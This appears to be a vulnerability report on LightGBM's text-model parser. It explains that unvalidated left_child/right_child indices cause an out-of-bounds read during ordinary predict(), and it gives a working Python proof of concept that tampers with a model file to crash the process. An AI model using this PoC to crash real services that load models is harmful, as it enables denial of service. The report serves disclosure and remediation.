#7438·LightGBM

Out-of-bounds read via unvalidated out-of-range left_child/right_child node indices during ordinary tree traversal

Author: geo-chenCreated Sep 14, 2026Updated Sep 14, 2026

Affected Versions: commit fb3a5a77c05a1593b2fa35a24dab54784755f030

Summary

left_child and right_child entries in a LightGBM text model are parsed with only an array-length check, never a value check (src/io/tree.cpp). A negative value is treated as a leaf reference (covered by a separate report on this repo's out-of-bounds write). A positive value is treated as the index of another internal node and used directly, with no range check, as the next node in the tree-traversal loop that ordinary predict() runs. On the very next iteration, that out-of-range node value is used to index every one of the tree's small per-node arrays (split_feature_, threshold_, decision_type_, left_child_, right_child_, each sized to the number of internal nodes, typically far smaller than an attacker-chosen index), producing an out-of-bounds read and a crash. This requires no categorical feature and no SHAP/contribution call, only an ordinary model and an ordinary predict() call.

Details

include/LightGBM/tree.h, the traversal loop that ordinary predict() uses (GetLeaf, non-categorical branch):

cpp
inline int Tree::GetLeaf(const double* feature_values) const {
  int node = 0;
  ...
  } else {
    while (node >= 0) {
      node = NumericalDecision(feature_values[split_feature_[node]], node);
    }
  }
  return ~node;
}

and NumericalDecision:

cpp
inline int NumericalDecision(double fval, int node) const {
  ...
    return left_child_[node];
  ...
    return right_child_[node];
  ...
}

left_child_/right_child_ are parsed with only a length check (src/io/tree.cpp):

cpp
left_child_  = CommonC::StringToArrayFast<int>(key_vals["left_child"],  num_leaves_ - 1);
right_child_ = CommonC::StringToArrayFast<int>(key_vals["right_child"], num_leaves_ - 1);

If right_child_[node] (or left_child_[node]) is a large positive value, say 999999, in a tree with only 6 internal nodes, the loop assigns node = 999999 and immediately loops back to feature_values[split_feature_[node]]. split_feature_ is a std::vector<int> sized num_leaves_ - 1 (6 in this PoC's tree); reading split_feature_[999999] is an out-of-bounds read on that vector, and the (uninitialized/garbage) value it returns is then used as a further index into feature_values, so the fault can occur at either indexing step depending on what garbage memory happens to contain. In practice this crashes reliably.

This differs from the two sibling reports on this repo: the out-of-bounds write needs a negative child value and only fires via predict(pred_contrib=True); the split_feature out-of-bounds read uses the split_feature_ value itself as the fault index, not a corrupted node index; the categorical out-of-bounds read is specific to CategoricalDecision/cat_boundaries_. This finding is the plain numerical-split, ordinary-predict() case using a tampered child pointer instead.

PoC

Built from source at commit fb3a5a77c05a1593b2fa35a24dab54784755f030 (sh build-python.sh install --no-isolation, no precompiled wheel).

python
import re
import numpy as np
import lightgbm as lgb

np.random.seed(0)
X = np.random.rand(400, 5)
y = (X[:, 0] + X[:, 1] > 1).astype(int)

booster = lgb.train(
    {"objective": "binary", "num_leaves": 7, "min_data_in_leaf": 5, "verbose": -1},
    lgb.Dataset(X, label=y),
    num_boost_round=1,
)
model = booster.model_to_string()
model = re.sub(r"tree_sizes=[^\n]*\n", "", model, count=1)

m = re.search(r"right_child=([^\n]*)", model)
vals = m.group(1).split()
vals[0] = "999999"  # out-of-range positive node index; tree has 6 internal nodes
evil = model.replace("right_child=" + m.group(1), "right_child=" + " ".join(vals), 1)

b = lgb.Booster(model_str=evil)          # loads OK, no value validation
b.predict(np.random.rand(5, 5))          # -> out-of-bounds read, SIGSEGV

Observed: the model loads without error, and predict() crashes with Segmentation fault (core dumped) (exit 139) as soon as a row routes through the tampered node. Under gdb the fault occurs inside LightGBM::GBDT::PredictRaw, with a general-purpose register (rax) holding 0xf423f (999999 decimal), the exact tampered value, at the fault site, confirming the corrupted node index is used directly as an array subscript.

Impact

Loading and predicting with an untrusted LightGBM text model containing an out-of-range left_child/right_child value, an ordinary field present in every model, crashes the process on the plain predict() path, no categorical feature and no SHAP/contribution flag required. This is the most broadly reachable of the three related findings on this repo's text model parser, since it needs nothing but an ordinary numerical-split tree. A reliable crash was demonstrated; this report does not claim information disclosure or code execution, since neither was shown by the PoC above.

Remediation

Validate every parsed node value at load time, as recommended in the sibling reports on this repo: require left_child/right_child entries to reference valid in-range internal-node or leaf indices (and to form an acyclic tree), require split_feature within the model's feature count, and validate categorical indices against their array bounds. Reject the model at load time when any value is out of range, rather than indexing with it during traversal or prediction.